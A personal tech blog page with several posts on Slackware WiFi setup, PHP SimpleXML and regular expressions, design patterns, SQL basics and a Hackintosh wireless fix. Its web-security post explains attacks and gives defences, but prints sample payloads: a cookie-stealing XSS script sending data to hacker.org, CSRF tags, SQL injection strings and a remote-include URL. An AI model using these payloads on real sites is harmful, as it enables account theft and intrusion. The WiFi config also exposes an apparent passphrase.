jwallace.us

tech, tunes, and other stuff

Enabling WiFi in Slackware

In Slackware, the instructions for enabling WiFi can be found by viewing two Unix man pages:

  • man wpa_supplicant
  • man wpa_supplicant.conf

Your system may be different, but for my system I had to do two things:

  • Create a wpa_supplicant.conf file in /etc
  • Edit /etc/rc.d/rc.inet1.conf

My /etc/wpa_supplicant.conf file looks like this:

/etc/wpa_supplicant.conf
1
2
3
4
5
6
7
8
9
10
# allow frontend (e.g., wpa_cli) to be used by all users in 'wheel' group
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=wheel
#
# home network; allow all valid ciphers
network={
   ssid="homenet"
   scan_ssid=1
   key_mgmt=WPA-PSK
   psk="9u7YFG523ah2jqmM"
}

The appropriate entry in /etc/rc.d/rc.inet1.conf looks like this:

/etc/rc.d/rc.inet1.conf
1
2
3
4
5
6
7
8
9
10
11
IFNAME[4]="wlan0"
IPADDR[4]=""
NETMASK[4]=""
USE_DHCP[4]="yes"
DHCP_HOSTNAME[4]="linux"
WLAN_ESSID[4]=homenet
WLAN_MODE[4]="Ad-Hoc"
WLAN_RATE[4]="auto"
WLAN_CHANNEL[4]="auto"
WLAN_KEY[4]="9u7YFG523ah2jqmM"
WLAN_WPA[4]="wpa_supplicant"

With these settings my WiFi is automatically enabled during the boot process, and its ready to go when I login to my account.

SimpleXML

The SimpleXML library in PHP converts XML into objects that can be accessed like an array.   There is both an object oriented and a procedural way of doing it:

Loading an XML file:

1
2
$xml_object = simplexml_load_file ('file_name.xml');
$xml_object = new SimpleXMLElement ('file_name.xml', NULL, true);

Loading an XML string:

1
2
3
$xml_string = file_get_contents ('file_name.xml');
$xml_object = simplexml_load_string ($xml_string);
$xml_object = new SimpleXMLElement ($xml_string);

With both the procedural and object oriented approaches a SimpleXMLElement object is returned.  What SimpleXMLElement provides is a way to access the XML document as you would an array.  For example,  given the following XML document:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?xml version="1.0"?>
<ncaa>
   <conference name="SEC">
   <team>
      <name>Florida</name>
      <division>East</division>
   </team>
   <team>
      <name>Georgia</name>
      <division>East</division>
   </team>
   <team>
      <name>Kentucky</name>
      <division>East</division>
   </team>
   <team>
      <name>South Carolina</name>
      <division>East</division>
   </team>
   <team>
      <name>Tennessee</name>
      <division>East</division>
   </team>
   <team>
      <name>Vanderbilt</name>
      <division>East</division>
   </team>
   </conference>
</ncaa>

…and this code:

1
2
3
4
5
6
7
8
9
10
<?php
   $xml_string = file_get_contents ('sec_football.xml');
   $xml_object = simplexml_load_string ($xml_string);
   foreach ($xml_object->conference as $conf) {
      echo $conf['name'] . "\n\n";
      foreach ($conf as $team) {
         echo "$team->name\n$team->division\n\n";
      }
}
?>

…produces the following output:

SEC
Florida
East
Georgia
East
Kentucky
East
South Carolina
East
Tennessee
East
Vanderbilt
East

Below is another way of producing the same output.  Note the use of the children() and attributes() functions.  Unlike the previous example, specific knowledge of the tag and attribute names was not needed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
   $xml_object = new SimpleXMLElement ('sec_football.xml', NULL, true);
   list_all ($xml_object);

   function list_all($xml_object) {
      if ($xml_object != NULL) {
         $attr = $xml_object->attributes();
         if ($attr[0] != NULL) {
            echo $attr[0] . "\n\n";
         }
         echo trim($xml_object);
         foreach ($xml_object->children() as $child) {
            # to get the tag name itself you would
            # use the $child->getName() function
            list_all($child);
         }
         echo "\n";
      }
   }
?>

Basic Design Patterns

Patterns represent a standardized way to structure an application or part of an application in order to solve a specific problem.

Model-View-Controller Pattern

The model-view-controller (MVC) pattern splits an application into three distinct parts: the model, the view, and the controller.   This is done to reduce the complexity of the code and increase its maintainability.

The model is the part of the application responsible for handling the data.  Typically it will read and write data to the database.  The view is the part of the application that presents the application to the user.  It is responsible for the way the application looks, for getting input from the user, and for presenting data to the user.  The controller is responsible for the application’s business logic.

For example, the client goes to a web page with a browser.  The page that comes up is one with text fields for a user name and a password.  Finally there is a submit button for the user to click when finished filling in the user name and password fields.  This is a view.  It gets the input from the user, and when the user clicks the submit button the form passes the user name and password data to a controller.  This controller validates the data passed in, and if it is valid calls on a model to lookup the user data in the database to see if it matches any known users with that user name and password.  It then returns the success or fail code back to the controller who then presents the client with a view based on the result.  If there was no such user found, then the controller might present the client with a view showing an error message.  If the user was found, then the client might be considered logged in and then presented with a view of menu options.

Singleton Pattern

A singleton pattern provides access to a single resource without the possibility of the resource ever being duplicated.  If you go to the PHP manual on patterns here you will see an example of a singleton pattern.  The singleton pattern relies on a static variable.  If the variable is set then a singleton object is already in use and that instance is returned.   If the static variable is not set, then a new object is created and returned.

Use of singleton objects in PHP web applications are controversial for several reasons.  Some have argued for PHP the pattern adds complexity, is unnecessary in an application with no scope beyond the request, and evades garbage collection because of the global static variable used in the pattern.

Factory Pattern

A factory pattern are used to create (manufacture) instances of objects.  A good use for the factory pattern would be for creating database handler objects.  If you go to the PHP manual on patterns here you will see an example of a factory pattern.  In the example the factory is called with a lone parameter telling it to create either a MySQL or SQLite driver object.  The factory instantiates the appropriate  object and returns it to the caller.

Registry Pattern

The registry pattern is a way to store objects within an application.  Basically it is an object used to keep track of other objects in some sort of data structure such as a hash map.  Most of the time it utilizes a Singleton Pattern (called a Singleton Registry), but it doesn’t have to.  The problem with Singleton Registries is that a client that fetches an object from a Singleton Registry is not only coupled to the Registry, it is also coupled to the object it fetches.

A good discussion with an example of the Registry Pattern can be found:  here.

ActiveRecord Pattern

The ActiveRecord Pattern is designed to help how a web application interacts with a database by embedding the knowledge of how to interact with a database directly into the class performing the interaction.  The pattern is easy to implement, but the downside is that it leads to a high degree of coupling between the implementing class to the structure of the database.

Common Website Attacks

When developing a web application one must be aware of a few common forms of attack.

Spoofed Forms

A spoofed form is a form which looks legitimate, but is not the same form a user thinks it is.  The easiest way for hackers to spoof forms is to copy the target form from a web site,  and then have it executed it from a different location.  The hacker takes the legitimate form, removes security restrictions previously imposed on the data, and then has the data sent to its intended destination when the form is submitted.  An example is a form where a drop down box is changed to a text field on the spoofed form, allowing for potentially unrestricted data access in that field.  A security problem could arise if the developer assumes the field which held the drop down box didn’t need to be properly filtered or escaped.

One way to check to see if a form is being submitted from an authorized location is to check the REFERER header in the PHP $_SERVER superglobal array (e.g. $_SERVER[‘REFERER’]).  While this should be done, it is not completely reliable as the REFERER header is coming from the client’s browser.  As with anything originating from a client’s machine it cannot be fully trusted.

Cross-Site Scripting (XSS)

XSS is a simple and popular form of attack by exploiting a user’s trust in an application.  Its goal is to steal a user’s information contained in cookies or other data.  For example, a hacker could post in a publicly viewable forum a comment in JavaScript in a form’s text area.  This JavaScript could reference a remote location which would append all of a user’s cookie information in a GET header.  For example, such a comment might look like:

<script>document.location=''http://hacker.org/getcookies.php?cookies=''+document.cookie;</script>

Then. unknown to each user viewing the comment a remote application (getcookies.php) pointed to by the JavaScript could then record all of the cookie data owned by the user. The easiest way to thwart this attack is for the web application to escape all output.

Cross Site Request Forgeries (CSRF)

By using a forged request, CSRF exploits an application’s trust in a user.  Even if a web application uses POST requests, the malicious user will try to send GET requests to the web application in the hopes that it will work.  For example,  the attacker might try:

http://victim.com/checkout.php?productid=9918719293

If this actually results in successful purchase, then the attacker might post an image tag or even similar JavaScript command as used in the XSS example above to make additional purchases.  For example:

<script>document.location=''http://victim.com/checkout.php?productid=9918719293'';</script>

or

<img src="http://victim.com/checkout.php?productid=9918719293" />

This will work only if the user is logged into the target web site (example.org) while on the other web site hosting the malicious code.

To counter this attack, a web application needs to be able to determine the legitimacy of each request.  A good way to do this is by using the token method.   When a new web application session is started, a random token is generated and placed in the  $_SESSION superglobal array.

$session_start();
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;

This token is then placed in a hidden form field before being sent back to the client.  When a new request comes in from the client the $_POST[‘token’] value is checked with the value in $_SESSION[‘token’].  If the two match then the request is legitimate.

Session Fixation

In PHP, when a new web application session is started it sends a cookie to the client.  By default this cookie (session) name is called PHPSESSID.  This name can be changed either by changing the session.name setting in php.ini, or it can be changed programmatically via the session_name() function.  A session fixation (aka session riding) attack fixes a particular web request to a specific session id by setting it in a GET header.  For example:

http://victim.com/main.php?PHPSESSID=886721

By doing this the attacker may be able to gain access to a user’s account.  The way to thwart such an attack is to change the session id by calling the session_regenerate_id() function every time a user’s privilege level changes.

Session Hijacking

What if after session_regenerate_id() is called the attacker discovers the new session id and attempts to gain access through this new id?  This is called session hijacking.  One way to thwart such an attack is to record the client’s User-Agent request header.  Save it in a session variable (e.g. $_SESSION[‘user_agent’] and check it on subsequent requests to see if it has changed.  If it changes terminate the session with an error message and send it back to the client.

SQL Injection

SQL injection occurs when client input has not been properly filtered and escaped.  Such attacks will try to inject SQL code into normal form fields in the hopes of getting the web site to return useful information such as user names and passwords.  For example, given a user name and password form:

<form>
  Login: <input type="text" name="login" /><br/>
  Password: <input type="text" name="password" /><br/>
</form>

A typical attack might be to put in the login (or password) field something like this for a site using MS SQL Server:

login' OR 1=1--

For non MS SQL sites, this might work:

' OR 'a'='a

Its also possible for an attacker to download the login form, and try to insert this code into some hidden fields.  Another approach would be for an attacker might try to put this into the target website’s url, for example:

http://victim.com/index.asp?id=login' OR 1=1--

The idea is for the attacker to get logged in without a valid login or password by changing the SQL used to access the user database from this:

SELECT * FROM users WHERE login = 'login' AND password = 'password';

to this:

SELECT * FROM users WHERE login = 'login' OR 1=1-- AND password = 'password';

In MS SQL the ‘—’ notation tells MS SQL to ignore the rest of the line.  The conditional ‘1=1’ will always evaluate to TRUE, and TRUE OR FALSE will evaluate to TRUE.  Therefore the SQL SELECT will return the user table if this code is allowed to execute.

The solution to this potential attack is simple:  never trust ANY user input.  Always escape and filter all user input and SQL output to eliminate this possibility from occurring.   Input can be filtered by custom filters or simple ones such as ctype_alnum() or it can be filtered with the database specific functions such as mysql_real_escape_string() or sqlite_escape_string().  Escaping and filtering user input makes it safe to use in SQL statements and queries.

Remote Code Injection

PHP has the ability to dynamically include PHP source using the include or require directives.  For example, given web application source code which contains the following line would be a remote code injection security risk:

include ("{$_GET['comment']}/comment.php");

…could lead to an attacker typing this into his browser address bar:

http://victim.com?comment=http:%3A%2F%2Fhacker.org%2Fpwnage.php%3F

This would cause the code at the remote site to be injected into the web server application, rendering the entire application at the mercy of the attacker.  Note the %3F at the end of the string would have the effect of treating the remainder of the include “/comment.php” to be treated as a variable to the remote site’s pwnage.php script thus rendering the local script useless.

There are two server settings that can be set in php.ini which can turn off this functionality:  allow_url_fopen and allow_url_include

  • allow_url_fopen - enables the URL-aware fopen wrappers that enable accessing URL object like files
  • allow_url_include — allows allows the use of URL-aware fopen wrappers such as: include, include_once, require, require_once – Note that for this setting to be on allow_url_fopen must also be on.

Command Injection

Command injection is the ability of an attacker to issue operating system commands via the PHP functions system(), exec(), passthru(), and the backtick operator `.  Care must be used when writing web application code with these commands.  If they must be used, be sure to escape their arguments via the escapeshellarg() or escapeshellcmd() commands.  Basically client input should be avoided when constructing the commands or the arguments to these commands.

Regular Expressions in PHP

PHP support for regular regular expressions is built into the language.  In PHP they are commonly called Perl-compatible regular expressions  or PCRE for short.      Note this is not meant to be a comprehensive discussion on PCRE.  For a complete description on PCRE, see the PHP manual: here.   That being said, there are just a few basic things you need to know about PCRE in order start using them.

  • Delimiters
  • Meta-characters
  • Escape Sequences
  • Anchors
  • Subpatterns
  • Functions

Before we get started, I should probably present an example of a simple regular expression.  The following regular expression finds every two digit number followed by a letter:

/[0-9]{2,2}\w/

For example, the code below:

1
2
3
4
5
6
7
<?php
   $s = "aab2k3oo45l987xz0x11Cv22";
   $regex = "/[0-9]{2,2}\w/";
   preg_match_all ($regex,$s,$matches);
   echo $s . PHP_EOL;
   print_r ($matches);
?>

Will return:

aab2k3oo45l987xz0x11Cv22
Array
(
  [0] => Array
  (
  [0] => 45l
  [1] => 87x
  [2] => 11C
  )
)

Delimiters

All regular expressions are delimited by a character.  This can be almost any character, but it should not be one that can be found in the search string.  For example, in the above PCRE the “/” character was used as the delimiter.  A delimiter cannot be a whitespace, backslash, or alphanumeric character.

Meta-characters

Meta-characters allow for alternatives or repetitions in patterns.  A few were used in the above example:

  • [   character class definition start
  • ]   character class definition ending
  • -   character range
  • (   subpattern start
  • )   subpattern end
  • {   min-max quantifier start
  • }   min-max quantifier ending
  • \   escape character

Some characters have special meaning inside a character class:

  • \ escape character
  • ^ class negation, but only if first character e.g. [^a-z789]
  • - character range
  • ] terminates the character class

Escape Sequences

If the escape character \ is followed by a non alpha-numeric character then it takes away from the special meaning that the character may have.  For example, if you wanted to actually include a “ character in a PCRE, then \” sequence would remove the special “string character” status that “ has.

If the escape character \ is followed by an alpha-numeric character then it takes on a special meaning. Escape codes can encode non-printing codes in a visible manner.  For example:

  • \f is a form feed character
  • \n is a newline character
  • \t is a tab character

Escape sequences can be used to match any character by giving their octal character codes.  For example:

  • \040 space character
  • \007 bel character
  • \033 esc character
  • \011 tab character
  • \113 the letter K

Escape sequences can also represent generic character types.  For example:

  • \d is any decimal digit
  • \s is any whitespace character
  • \w is any word character

If some alpha characters are capitalized, it means the opposite.  For example:

  • \S is any non-whitespace character
  • \W is any non-word character
  • \D is any non-digit

For example:

1
2
3
4
5
6
7
8
<?php
   $s = "U29qexVhA8 LJQYP";
   $regex = "/\d/";
   $ar = preg_split ($regex, $s);
   foreach ($ar as $a) {
      echo "[$a]\n";
}
?>

Returns:

[U]
[]
[qexVhA]
[ LJQYP]

Anchors

Outside a character class, in the default matching mode, the circumflex character (^) is an assertion which is true only if the current matching point is at the start of the subject string.

A dollar character ($) is an assertion which is true only if the current matching point is at the end of the subject string, or immediately before a newline character that is the last character in the string (by default). For example:

1
2
3
4
5
6
7
8
9
 <?php
   $s = "U29qexVhA8 LJQYP";
   $regex = "/QYP$/";
   preg_match ($regex, $s, $matches);
   print_r ($matches);
   $regex = "/^U29/";
   preg_match ($regex, $s, $matches);
   print_r ($matches);
 ?>

Returns:

Array
(
  [0] => QYP
)
Array
(
  [0] => U29
)

Subpatterns

Subpatterns are delimited by parenthesis.

The purpose of subpatterns is to:

  1. Localize a set of alternatives, and
  2. Sets up the subpattern as a capturing subpattern.

For example, given a set of localized alternative: /phil(harmonic|anthropist)/

1
2
3
4
5
6
7
<?php
   $s = "the st. louis philharmonic orchestra";
   $regex = '/phil(harmonic|anthropist)/';
   preg_match_all($regex, $s, $matches);
   echo $s . PHP_EOL;
   print_r ($matches);
?>

returns:

the st. louis philharmonic orchestra
Array
(
  [0] => Array
  (
  [0] => philharmonic
)
[1] => Array
  (
  [0] => harmonic
  )
)

In this example, ‘philharmonic’ was captured, with ‘harmonic’ being captured as a subpattern.

If an opening parenthesis is followed by “:?”, the subpattern does not do any capturing, and is not counted when computing the number of any subsequent capturing subpatterns.

For example:

1
2
3
4
5
6
7
<?php
   $s = "the new york jets and the new york mets";
   $regex = '/new york (:?jets|giants)|(mets|yankees)/';
   preg_match_all($regex, $s, $matches);
   echo $s . PHP_EOL;
   print_r ($matches);
?>

produces:

=-=-=-=-= subpatterns
the new york jets and the new york mets
Array
(
  [0] => Array
  (
  [0] => new york jets
  [1] => mets
  )
  [1] => Array
  (
  [0] =>
  [1] => mets
  )
)

Functions

preg_filter() – performs a regular expression search and replace, returning a string

1
2
3
4
5
6
$subject = "It all depends what this is.";
$replace = "is";
$pattern = "/this/";
echo "replacing this".PHP_EOL."[$subject ]".PHP_EOL."with".PHP_EOL . "[";
print (preg_filter($pattern, $replace, $subject));
echo "]" . PHP_EOL;

will print:

replacing this
[It all depends what this is. ]
with
[It all depends what is is.]

preg_grep() - Return array entries that match the pattern
preg_last_error() - Returns the error code of the last PCRE regex execution

1
2
3
4
5
6
$names = array ('John', 'Bob', 'Teresa', 'Lisa', 'Jimmy', 'Beverly');
$grepped = preg_grep("/^B+/", $names);
print_r($grepped);
if (preg_last_error() == PREG_NO_ERROR) {
   print 'There was no preg error.' . PHP_EOL;
}

will print:

Array
(
  [1] => Bob
  [5] => Beverly
)
There was no preg error.

preg_match_all() - Perform a global regular expression match (see earlier examples for usage)
preg_match() - Perform a regular expression match
preg_match is similar to preg_match_all except that it will stop searching after the first match is found

preg_quote() - Quote regular expression characters

1
2
$regex_chars = "\ + * ? [ ^ ] $ ( ) { } = ! &lt; &gt; | : –";
echo preg_quote ($regex_chars) . PHP_EOL;

will print:

\\ \+ \* \? \[ \^ \] \$ \( \) \{ \} \= \! \&lt; \&gt; \| \: \-

preg_replace_callback() - Perform a regular expression search and replace using a callback

1
2
3
4
5
6
7
8
9
10
11
$bicycle = array ('frame', 'chain', 'gruppo', 'seatpost', 'tires',
                  'handlebars', 'stem', 'saddle');
$pattern = "/\w+/";
print_r(preg_replace_callback ($pattern, 'my_callback', $bicycle));
function my_callback ($matches) {
   $s = "";
   foreach ($matches as $match) {
      $s .= strtoupper($match);
   }
   return $s;
}

will print:

Array
(
  [0] => FRAME
  [1] => CHAIN
  [2] => GRUPPO
  [3] => SEATPOST
  [4] => TIRES
  [5] => HANDLEBARS
  [6] => STEM
  [7] => SADDLE
)

preg_replace() - Perform a regular expression search and replace, returning an array

1
2
3
4
5
$string = "this sentence has been capitalized.";
$replace = "T";
$pattern = "/^\w/";
$ar = preg_replace ($pattern, $replace, $string);
print_r($ar);

Will print:

This sentence has been capitalized.

preg_split() - Split string by a regular expression

1
2
3
4
$string = "Isn't PHP a cool language?";
$pattern = "/\s/";
$ar = preg_split ($pattern, $string);
print_r ($ar);

Will print:

Array
(
  [0] => Isn't
  [1] => PHP
  [2] => a
  [3] => cool
  [4] => language?
)

Database 101

There are a few basic database operations that you should know:

Creating a database:

1
2
CREATE DATABASE <database_name>;
CREATE SCHEMA <database_name>;

Deleting a database:

1
2
DROP DATABASE <database_name>;
DROP SCHEMA <database_name>;

Creating database tables:

1
2
3
4
5
6
CREATE TABLE <table_name>;
CREATE TABLE <table_name> {
   <column_1_name> <column_1_type> [<column_1_attributes>],
   [... more columns ...],
   <column_X_name> <column_X_type> [<column_X_attributes>]
};

Deleting a table:

1
DROP TABLE <table_name>;

Creating database indices:

1
CREATE INDEX <index_name> ON <table_name> (<column_1>, ..., <column_X>);

Adding data:

1
2
3
INSERT INTO <table_name> VALUES (<value_1> [, <value_2>, ..., <value_X>]);
INSERT INTO <table_name> (<col_1> [, <col_2>, ..., <col_X>])
   VALUES (<value_1> [, <value_2>, ..., <value_X>]);

Modifying all data in a table:

1
UPDATE <table_name> SET <column_name> = <value>;`

Modifying selective data in a table:

1
UPDATE <table_name> SET <column_1> = <value_1>, <column_2> = <value_2> WHERE <key> = <value>;

Deleting all data from a table:

1
DELETE FROM <table_name>;

Deleting selective data from a table:

1
DELETE FROM <table_name> WHERE <key> = <value>;

Retrieving all data from a table:

1
SELECT * FROM <table_name>;

Retrieving selective data from a table:

1
2
3
4
5
6
SELECT * FROM <table_name> WHERE <column_name> = <value>;

SELECT * FROM <table_name> WHERE <column_name> = <value>
                           OR <column_name> = <value>;
SELECT * FROM <table_name> WHERE <column_name> = <value>
                           AND <column_name> = <value>;

Retrieving selective data from a table using a SQL INNER Join:

Inner joins return a record set by combining data from two different tables.

1
2
SELECT * FROM <table_1> INNER JOIN <table_2>
                        ON <table_1_column> = <table_2_column>;

Retrieving selective data from a table using SQL OUTER Joins:

There are two types of outer joins:  left joins and right joins.   Left joins return ALL of the records from the left table, combined with the selected data from the right table.  Right joins return ALL of the records from the right table, combined with the selected data from the left table.

1
2
3
4
SELECT * FROM <left_table> LEFT JOIN <right_table>
                           ON <left_column> = <right_column>;
SELECT * FROM <left_table> RIGHT JOIN <right_table>
                           ON <left_column> = <right_column>;

Transactions:

1
2
3
4
5
6
START TRANSACTION;
...do something here ...
ROLLBACK;
START TRANSACTION;
...do something here ...
COMMIT;

Sticking With WordPress for Now

As you probably know, this site runs on WordPress. WordPress is really good at what it does, which is why my site is still based on it. There are some things I don’t like about it, and one of those is that its MySQL based. I would prefer it to be using SQLite as this site has a low traffic volume. MySQL is overkill and more expensive to run on this web host. There used to be a module called PDO for WordPress which allowed the use of SQLite, however it doesn’t work with the newer versions of WordPress, and it appears the module is no longer being maintained. When I have some time, I’ll pick up the module and perform the required modifications to make it work with the latest version of WordPress.

Adding Atheros Based Wireless N to Your Mac

Ok, so for me its a Hack not a Mac, but this will work on your shiny Mac Pro too. :–) I just received a $25 TP-Link TL-WN951N 802.11N wireless board today, and of course I wanted to put it in my Hack as soon as possible. And I have, but I had to do a little extra work to make it functional. I made a little post on InsanelyMac about how to do this, but why not share it here too? If you’re interested, my post is here: TP-Link TL-WN951N working?

I did not have to apply AtherosFix.kext or any changes to IO80211Family.kext.

I found the answer here: http://netkas.org/?paged=4

Good old netkas. Where would we be without him?

His solution worked for me.

Since I’m already running 10.6.8, what I did it was to load MacOSXUpdCombo10.6.7.dmg using Pacifist.

In Pacifist, choosing the “Package Contents” tab I went to:

“Contents of MacOSXUpdCombo10.6.7.pkg”
then “Contents of manual”
then “Contents of SUBaseSystemCombo10.6.7.pkg”
then “System/Library/SystemConfiguration”

I found Apple80211Monitor.bundle there, clicked on it and chose to “Extract to Custom Location”, and I extracted the Apple80211Monitor.bundle file to my home directory. Then I moved the existing /System/Library/SystemConfiguration/Apple80211Monitor.bundle off to some folder for safekeeping (just in case I need it some day), and then moved the Apple80211Monitor.bundle copy that I had just extracted using Pacifist into the /System/Library/SystemConfiguration/ folder.

Apple80211Monitor.bundle

This is what it now looks like from a terminal window (I like iTerm):

1
2
bash-3.2# ls -ld /System/Library/SystemConfiguration/Apple80211Monitor.bundle  
drwxr-xr-x 3 root wheel 102 Dec 17 2010 /System/Library/SystemConfiguration/Apple80211Monitor.bundle

Using Apple’s “System Profiler”, this is what it looks like:

tl-wn951n-sp

FYI the 10.6.8 version of Apple80211Monitor.bundle is 6.2.5. The 10.6.7 version is 6.2.4. Again, you want 6.2.4.

So thats it. I now have wireless 802-11n, and thats all I had to do to get it working. It seems to be a nice little $25 card, but I have’t had the chance to run any speed tests on it yet.

Thanks netkas!

Countdown to the End..

I saw this on Rush Limbaugh’s web site & thought it was hilarious.  Click HERE for the details on our imminent destruction.

  • Going to need an OCTOPRESS plugin for this one *
[swfobj src=”http://www.rushlimbaugh.com/images/gorecountdown.swf” height=”163” width=”345”]